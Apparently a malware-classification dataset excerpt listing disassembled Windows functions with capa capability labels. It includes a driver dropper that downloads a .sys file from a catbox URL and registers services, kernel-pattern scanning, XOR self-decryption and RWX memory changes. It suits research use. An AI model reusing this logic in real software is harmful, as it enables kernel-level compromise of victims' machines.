joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001040
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov edx, 0x47
lea rcx, [entry0]
mov al, byte [rcx + rdx]
xor al, 0xa2
add al, 0xbb
xor al, 0x76
mov byte [rcx + rdx], al
inc rdx
cmp rdx, 0x2d9
jl 0x140001068
and dword [rcx - 0x2684e808], esi
jnp 0x1400010ec
movabs dword [0xbf3598c63cad26a7], eax
mov edx, 0xe6215581
ficom dword [rsi + riz - 0x4e]
jge 0x140001094
invalid
nop
rcl byte [rdx + rcx*4], 0x5e
invalid
fst dword [rcx + rsi*2 - 0x43]
and esi, esp
ficom dword [rcx + riz]
mov cl, 0x4e
pop rbx
cmp ah, bl
cmp eax, 0xddbd8554
out 0xc2, al
sbb al, 0xc4
fiadd dword [rcx + riz - 0x1a]
fidiv dword [rdx + rdi*8 + 0x21]
loopne 0x140001123
cli
and eax, esp
adc eax, 0x1919293a
cmp ch, byte [rcx]
sbb dword [rcx], ebx
sbb edi, esi
sbb al, 0xec
ficom dword [rdi + rsi*8 + 0x1c]
cld
fisub dword [rbp + rbx*8 - 0x1a]
sbb al, 0xf7
sbb al, 0xfc
cld
and dl, byte [rcx + riz]
loopne 0x14000114a
stc
fucom st(6)
cli
fucom st(6)
ret 0x1c4c
in al, dx
fisub dword [rdi + rsi*8 + 0x1c]
in al, dx
and dl, byte [rbx*8 - 0x1f22f720]
pop rbx
fnsave dword [rax]
sbb al, 0x95
xchg esi, eax
sbb dword [rcx], ebx
sbb dword [rdx], esp
loopne 0x140001187
leave
loopne 0x14000110a
ficomp word [rsp + riz*4]
invalid
invalid
Function at 0x140016a70
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140016aaa
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140016aaf
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140016af8
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400194c0]
cmp byte [rcx + rax], 0
je 0x140016af8
dec r8
sub rdx, 1
jne 0x140016ade
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140017b04
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140017b4e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140017b4e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140017b4e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140017b4e
cmp dword [rcx + 0x84], 0xe
jbe 0x140017b4e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140017b50
xor al, al
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Get system information on windows
Load ntoskrnl
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r14, rcx
mov dword [rsp + 0x28], 0
mov ecx, 0xb
lea r9, [rsp + 0x28]
xor r8d, r8d
xor edx, edx
xor edi, edi
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400010ab
nop dword [rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x28]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x28]
lea r9, [rsp + 0x28]
mov rdx, rax
mov ecx, 0xb
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140001060
test eax, eax
jns 0x1400010c4
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
jmp 0x140001131
xor ebx, ebx
mov qword [rsp + 0x60], rbp
cmp dword [rdi], ebx
jbe 0x140001119
lea rsi, [rdi + 0x2e]
nop dword [rax]
nop word [rax + rax]
movzx ecx, word [rsi]
lea rdx, [0x140003390]
add rcx, 0x30
movsxd rax, ebx
imul rbp, rax, 0x128
add rcx, rbp
add rcx, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400011bc
inc ebx
add rsi, 0x128
cmp ebx, dword [rdi]
jb 0x1400010e0
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
mov rbp, qword [rsp + 0x60]
xor edx, edx
lea rcx, [0x1400033a0]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x18
lea r8, [rsp + 0x30]
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov eax, dword [rsp + 0x38]
xor r8d, r8d
mov dword [rsp + 0x20], 0xd38b48ff
mov word [rsp + 0x24], 0x8d4c
mov byte [rsp + 0x26], 5
test eax, eax
je 0x1400011e3
lea r10, [rdi + 4]
mov r11d, eax
nop dword [rax]
xor eax, eax
lea rcx, [rsp + 0x24]
mov r9, r10
lea rdx, [rsp + 0x20]
sub r9, rcx
movzx ecx, byte [r9 + rdx]
cmp byte [rdx], cl
jne 0x1400011da
cmp eax, 6
je 0x1400011d7
inc eax
inc rdx
cmp eax, 7
jb 0x1400011a2
jmp 0x1400011da
mov rsi, qword [rdi + rbp + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14000112c
mov r8, r10
inc r10
sub r11, 1
jne 0x140001190
mov ebx, dword [r8 + 3]
lea rdx, str.ZwFlushInstructionCache
add ebx, 7
movabs rax, 0xffffffff00000000
add ebx, r8d
mov rcx, rdi
and r8, rax
add rbx, r8
sub rbx, rdi
add rbx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
sub rsi, rdi
lea rcx, [rbx + 0x20]
add rax, rsi
mov qword [r14], rcx
mov qword [r14 + 8], rax
mov rax, r14
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001ba0
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret
Function at 0x140001250
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x260
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov r14, rdx
lea r8, str.RegistryMachineSystemCurrentControlSetServices_
mov rbx, rdx
mov rsi, rcx
mov edx, 0x35
mov edi, 0x34
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
movzx ecx, word [rbx]
mov rdx, rbx
test cx, cx
je 0x1400012ee
nop dword [rax]
add rdx, 2
cmp cx, 0x5c
mov rax, rdx
cmovne rax, rbx
movzx ecx, word [rdx]
mov rbx, rax
test cx, cx
jne 0x1400012a0
movzx ecx, word [rax]
test cx, cx
je 0x1400012ee
movzx eax, word [rax]
lea rcx, [rsi + 0x68]
movzx edx, ax
nop dword [rax]
cmp dx, 0x2e
je 0x1400012ee
add rbx, 2
mov word [rcx], ax
inc edi
add rcx, 2
movzx eax, word [rbx]
movzx edx, ax
test ax, ax
jne 0x1400012d0
movsxd rax, edi
xor ecx, ecx
mov rdx, rsi
mov word [rsi + rax*2], cx
call qword [sym.imp.ntdll.dll_RtlCreateRegistryKey]
test eax, eax
js 0x1400013b7
lea r8, str.___
mov dword [rsp + 0x30], 1
mov edx, 5
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov r8, r14
lea rcx, [rsp + 0x40]
mov edx, 0x87
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea rcx, [rsp + 0x40]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001350
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea r8, str.ImagePath
lea rax, [rsp + 0x40]
mov rdx, rsi
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
test eax, eax
js 0x1400013b7
lea rax, [rsp + 0x30]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, str.Type
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140001ba0
mov rbx, qword [rsp + 0x290]
add rsp, 0x260
pop r14
pop rdi
pop rsi
ret
Function at 0x140001760
Capabilities:
Delete file
Download and write a file
Download url
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x480
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x470], rax
lea rcx, [0x1400034a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [0x1400034c8]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor esi, esi
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x44], esi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14000181c
cmp rdi, 0xffffffffffffffff
je 0x14000190d
lea r9, [rsp + 0x44]
mov qword [rsp + 0x20], rsi
mov r8d, 0x6650
lea rdx, [0x140005080]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x14000190d
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea r8, str.C:_Windows_System32_Drivers_acpia.sys
xor ecx, ecx
lea rdx, str.https:__files.catbox.moe_9e86c1.sys
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea r9, [rsp + 0x40]
xor r8d, r8d
mov dl, 1
mov ecx, 0xa
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov ebx, eax
test eax, eax
js 0x1400018dc
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x260]
mov edx, 0x208
lea rcx, str.C:WindowsSystem32Driversgdrv.sys
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
mov ebx, eax
test eax, eax
js 0x1400018dc
xor r9d, r9d
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x50]
mov edx, 0x208
lea rcx, str.C:WindowsSystem32Drivers_acpia.sys
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
mov ebx, eax
test eax, eax
js 0x1400018dc
lea rdx, [rsp + 0x50]
lea rcx, [0x14000bee0]
call fcn.140001250
mov ebx, eax
test eax, eax
js 0x1400018dc
lea rdx, [rsp + 0x260]
lea rcx, [0x14000c0f0]
call fcn.140001250
mov ebx, eax
test eax, eax
js 0x1400018dc
call fcn.1400013e0
lea rcx, [0x1400034a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [0x1400034c8]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
call fcn.1400019c0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
mov eax, 1
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.140001ba0
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1800013e0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov rsi, qword [0x1800531f8]
mov rbp, rdx
mov rdi, rcx
mov rbx, rsi
cmp rdx, 4
jb 0x1800015a0
mov r11, rbx
mov qword [rsp + 0x30], r12
sub r11, rsi
add r11, 4
nop dword [rax]
mov eax, dword [rdi + 0x2000]
mov r8d, eax
and r8d, 0x3ff
lea edx, [r8 - 3]
lea r9d, [r8 - 0xa]
lea r12d, [r8 - 0xc]
lea ecx, [r8 + 1]
and edx, 0x3ff
and r9d, 0x3ff
and r12d, 0x3ff
and ecx, 0x3ff
cmp eax, 0x400
jae 0x1800014db
mov edx, dword [rdi + rdx*4]
mov ecx, dword [rdi + rcx*4]
mov r10d, edx
xor rdx, rcx
mov eax, ecx
ror r10d, 0xa
rol eax, 9
and edx, 0x3ff
xor r10d, eax
add r10d, dword [rdi + rdx*4 + 0x1000]
add r10d, dword [rdi + r9*4]
add r10d, dword [rdi + r8*4]
mov dword [rdi + r8*4], r10d
mov r9d, dword [rdi + r12*4]
mov eax, r9d
shr eax, 0x18
movzx edx, al
mov eax, r9d
mov r8d, dword [rdi + rdx*4 + 0x1c00]
shr eax, 0x10
movzx ecx, al
mov eax, r9d
add r8d, dword [rdi + rcx*4 + 0x1800]
shr eax, 8
movzx ecx, al
movzx eax, r9b
add r8d, dword [rdi + rcx*4 + 0x1400]
add r8d, dword [rdi + rax*4 + 0x1000]
jmp 0x180001560
mov edx, dword [rdi + rdx*4 + 0x1000]
mov ecx, dword [rdi + rcx*4 + 0x1000]
mov r10d, edx
xor rdx, rcx
mov eax, ecx
ror r10d, 0xa
rol eax, 9
and edx, 0x3ff
xor r10d, eax
add r10d, dword [rdi + rdx*4]
add r10d, dword [rdi + r9*4 + 0x1000]
add r10d, dword [rdi + r8*4 + 0x1000]
mov dword [rdi + r8*4 + 0x1000], r10d
mov r9d, dword [rdi + r12*4 + 0x1000]
mov eax, r9d
shr eax, 0x18
movzx edx, al
mov eax, r9d
mov r8d, dword [rdi + rdx*4 + 0xc00]
shr eax, 0x10
movzx ecx, al
mov eax, r9d
add r8d, dword [rdi + rcx*4 + 0x800]
shr eax, 8
movzx ecx, al
movzx eax, r9b
add r8d, dword [rdi + rcx*4 + 0x400]
add r8d, dword [rdi + rax*4]
mov eax, dword [rdi + 0x2000]
xor r8d, r10d
add r11, 4
inc eax
mov dword [rdi + 0x2004], r8d
add rsi, 4
and eax, 0x7ff
add rbx, 4
mov dword [rdi + 0x2000], eax
mov eax, r8d
xor eax, dword [rbx - 4]
mov dword [rsi - 4], eax
cmp r11, rbp
jbe 0x180001420
mov r12, qword [rsp + 0x30]
and ebp, 3
je 0x1800015dd
mov rcx, rdi
call section..text
xor r11d, r11d
test rbp, rbp
je 0x1800015dd
sub rdi, rbx
sub rsi, rbx
nop dword [rax + rax]
movzx eax, byte [rdi + rbx + 0x2004]
inc r11d
inc rbx
xor al, byte [rbx - 1]
mov byte [rsi + rbx - 1], al
mov eax, r11d
cmp rax, rbp
jb 0x1800015c0
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1800016f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x20
mov r8, qword [rcx]
mov rbp, rcx
movabs rcx, 0xffffffff00000000
mov rsi, qword [r8 + 0x30]
movzx eax, word [r8 + 0x14]
xor edi, edi
and rsi, rcx
cmp di, word [r8 + 6]
jae 0x1800017ff
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], r12
lea r12, [0x18001e460]
lea rbx, [rax + r8 + 0x3c]
nop word [rax + rax]
mov r9d, dword [rbx]
mov eax, r9d
mov edx, r9d
mov r10d, r9d
shr eax, 0x1d
shr edx, 0x1e
shr r10d, 0x1f
and eax, 1
and edx, 1
bt r9d, 0x19
jae 0x18000177a
mov ecx, dword [rbx - 0x1c]
mov edx, dword [rbx - 0x14]
mov r8d, 0x4000
or rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1800017de
movsxd rcx, eax
movsxd rax, edx
lea rdx, [rax + rcx*2]
lea rcx, [r10 + rdx*2]
mov r10d, dword [r12 + rcx*4]
bt r9d, 0x1a
jae 0x180001798
bts r10d, 9
mov eax, dword [rbx - 0x14]
test eax, eax
jne 0x1800017b8
test r9b, 0x40
je 0x1800017ab
mov eax, dword [r8 + 0x20]
jmp 0x1800017b4
test r9b, r9b
jns 0x1800017de
mov eax, dword [r8 + 0x24]
test eax, eax
je 0x1800017de
mov ecx, dword [rbx - 0x1c]
lea r9, [rsp + 0x40]
mov edx, eax
or rcx, rsi
mov r8d, r10d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1800017de
lea rcx, [0x1800187d8]
call fcn.180009460
mov r8, qword [rbp]
inc edi
add rbx, 0x28
movzx eax, word [r8 + 6]
cmp edi, eax
jl 0x180001740
mov r12, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
Function at 0x180001c90
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov esi, edx
mov rdi, rcx
mov r12, r8
lea eax, [rsi + 1]
mov r13d, edx
mov ecx, eax
mov ebx, eax
call fcn.1800096b8
mov r8d, ebx
xor edx, edx
mov rcx, rax
mov rbp, rax
call fcn.18000c400
mov r8d, esi
mov rdx, rdi
mov rcx, rbp
call fcn.1800123b0
lea r11d, [rsi + 2]
mov eax, 0xaaaaaaab
mul r11d
shr edx, 1
lea ecx, [rdx*4 + 1]
call fcn.1800096b8
mov rbx, rax
test rax, rax
je 0x180001de5
mov r9, rax
test esi, esi
je 0x180001dd5
lea rax, [rsp + 0x48]
mov r10, rbp
lea rdi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
sub r10, rax
xor edx, edx
lea rcx, [rsp + 0x48]
lea r8d, [rdx + 3]
nop dword [rax + rax]
test esi, esi
je 0x180001d41
movzx eax, byte [r10 + rcx]
dec esi
inc edx
mov byte [rcx], al
jmp 0x180001d44
mov byte [rcx], 0
inc rcx
dec r8
jne 0x180001d30
movzx ecx, byte [rsp + 0x48]
movzx r8d, byte [rsp + 0x49]
movzx r11d, byte [rsp + 0x4a]
mov eax, ecx
add r10, 3
shr rax, 2
movzx eax, byte [rax + rdi]
mov byte [r9], al
mov eax, ecx
and eax, 3
shl eax, 4
movsxd rcx, eax
mov eax, r8d
shr eax, 4
or rcx, rax
movzx eax, byte [rcx + rdi]
mov byte [r9 + 1], al
cmp edx, 1
jbe 0x180001dab
and r8d, 0xf
movzx eax, r11b
shl r8d, 2
shr rax, 6
movsxd rcx, r8d
or rcx, rax
movzx eax, byte [rcx + rdi]
jmp 0x180001dad
mov al, 0x3d
mov byte [r9 + 2], al
cmp edx, 2
jbe 0x180001dc3
movzx eax, r11b
and eax, 0x3f
movzx ecx, byte [rax + rdi]
jmp 0x180001dc5
mov cl, 0x3d
mov byte [r9 + 3], cl
add r9, 4
test esi, esi
jne 0x180001d20
mov byte [r9], 0
test r12, r12
je 0x180001de5
sub r9d, ebx
mov dword [r12], r9d
test r13d, r13d
je 0x180001df7
test rbp, rbp
je 0x180001df7
mov rcx, rbp
call fcn.180009420
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x1800023f0
Capabilities:
Check http status code
Query remote server for available data
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
sub rsp, 0x160
mov rax, qword [0x18001d050]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor ebx, ebx
mov rbp, rdx
mov rsi, rcx
cmp qword [0x18001f658], rbx
mov dword [rsp + 0x34], ebx
mov dword [rsp + 0x30], ebx
jne 0x180002434
xor eax, eax
jmp 0x180002514
lea rcx, [rsp + 0x41]
xor edx, edx
mov r8d, 0x104
mov byte [rsp + 0x40], bl
call fcn.18000c400
mov rcx, qword [0x18001f658]
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x40]
mov edx, 0x13
mov dword [rsp + 0x38], 0x105
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x18000242d
lea rcx, [rsp + 0x40]
call fcn.1800097d4
cmp eax, 0xc8
jne 0x18000242d
mov rcx, qword [0x18001f658]
lea rdx, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetQueryDataAvailable]
cmp eax, 1
jne 0x180002507
mov r8d, dword [rsp + 0x30]
test r8d, r8d
je 0x180002507
mov eax, 0x215b9
sub eax, ebx
cmp eax, r8d
cmovb r8d, eax
mov dword [rsp + 0x34], r8d
test r8d, r8d
je 0x180002507
mov rcx, qword [0x18001f658]
mov edx, ebx
lea r9, [rsp + 0x34]
add rdx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x18000242d
mov rcx, qword [0x18001f658]
add ebx, dword [rsp + 0x34]
lea rdx, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetQueryDataAvailable]
cmp eax, 1
je 0x1800024a5
mov dword [rbp], ebx
call fcn.180001fe0
mov eax, 1
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.180009400
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop rsi
ret
Function at 0x1800047f0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 8
mov r11d, r8d
mov r10, rdx
mov r9d, ecx
test rdx, rdx
jne 0x180004809
xor eax, eax
add rsp, 8
ret
mov qword [rsp], rdi
not r9d
lea rdi, [0x180019e00]
cmp r11d, 8
jb 0x180004901
mov qword [rsp + 0x10], rbx
mov rbx, r11
shr rbx, 3
nop dword [rax]
movzx ecx, byte [r10]
mov eax, r9d
shr r9d, 8
xor rcx, rax
add r10, 8
add r11d, 0xfffffff8
movzx eax, cl
movzx ecx, byte [r10 - 7]
mov edx, dword [rdi + rax*4]
xor edx, r9d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 6]
mov r8d, dword [rdi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 5]
mov edx, dword [rdi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 4]
mov r8d, dword [rdi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 3]
mov edx, dword [rdi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 2]
mov r8d, dword [rdi + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r10 - 1]
mov edx, dword [rdi + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
mov r9d, dword [rdi + rax*4]
xor r9d, edx
dec rbx
jne 0x180004830
mov rbx, qword [rsp + 0x10]
test r11d, r11d
je 0x18000492f
nop word [rax + rax]
movzx ecx, byte [r10]
mov eax, r9d
inc r10
xor rcx, rax
shr eax, 8
movzx edx, cl
mov r9d, dword [rdi + rdx*4]
xor r9d, eax
dec r11d
jne 0x180004910
mov rdi, qword [rsp]
not r9d
mov eax, r9d
add rsp, 8
ret

Function at 0x180005120
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rsi, r8
mov rdi, r9
mov rbp, rdx
mov r10, rcx
imul esi, edx
cmp byte [r9], 0
je 0x180005170
mov rdx, rcx
mov rcx, qword [rdi + 8]
lea r9, [rsp + 0x48]
mov r8d, esi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x18000516a
mov byte [rdi + 0x10], 1
mov eax, dword [rsp + 0x48]
jmp 0x1800051a1
mov edx, dword [r9 + 0x24]
mov ecx, dword [r9 + 0x20]
mov qword [rsp + 0x40], rbx
lea eax, [rdx + rsi]
cmp eax, ecx
jbe 0x180005188
sub ecx, edx
mov esi, ecx
add rdx, qword [r9 + 0x18]
mov r8d, esi
mov rcx, r10
call fcn.1800123b0
add dword [rdi + 0x24], esi
mov rbx, qword [rsp + 0x40]
mov eax, esi
mov rsi, qword [rsp + 0x58]
xor edx, edx
div rbp
mov rbp, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x1800051c0
Capabilities:
Read file on windows

Disassembly:
push rbx
push r12
sub rsp, 0x38
cmp byte [rcx], 0
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x30], rdi
mov edi, 1
mov r12, rdx
mov rbx, rcx
je 0x180005210
mov rcx, qword [rcx + 8]
lea r9, [rsp + 0x60]
lea rdx, [rsp + 0x50]
mov r8d, edi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x18000520a
mov byte [rbx + 0x10], dil
mov esi, dword [rsp + 0x60]
jmp 0x18000524a
mov qword [rsp + 0x58], rbp
mov ebp, dword [rcx + 0x24]
mov ecx, dword [rcx + 0x20]
lea eax, [rbp + 1]
cmp eax, ecx
jbe 0x180005226
mov edi, ecx
sub edi, ebp
mov rdx, rbp
lea rcx, [rsp + 0x50]
mov r8d, edi
add rdx, qword [rbx + 0x18]
mov esi, edi
call fcn.1800123b0
lea r11d, [rbp + rdi]
mov rbp, qword [rsp + 0x58]
mov dword [rbx + 0x24], r11d
mov rdi, qword [rsp + 0x30]
cmp esi, 1
mov rsi, qword [rsp + 0x68]
jne 0x18000526c
movzx eax, byte [rsp + 0x50]
mov dword [r12], eax
xor eax, eax
add rsp, 0x38
pop r12
pop rbx
ret
cmp byte [rbx], 0
je 0x180005262
cmp byte [rbx + 0x10], 0
je 0x180005262
or eax, 0xffffffff
add rsp, 0x38
pop r12
pop rbx
ret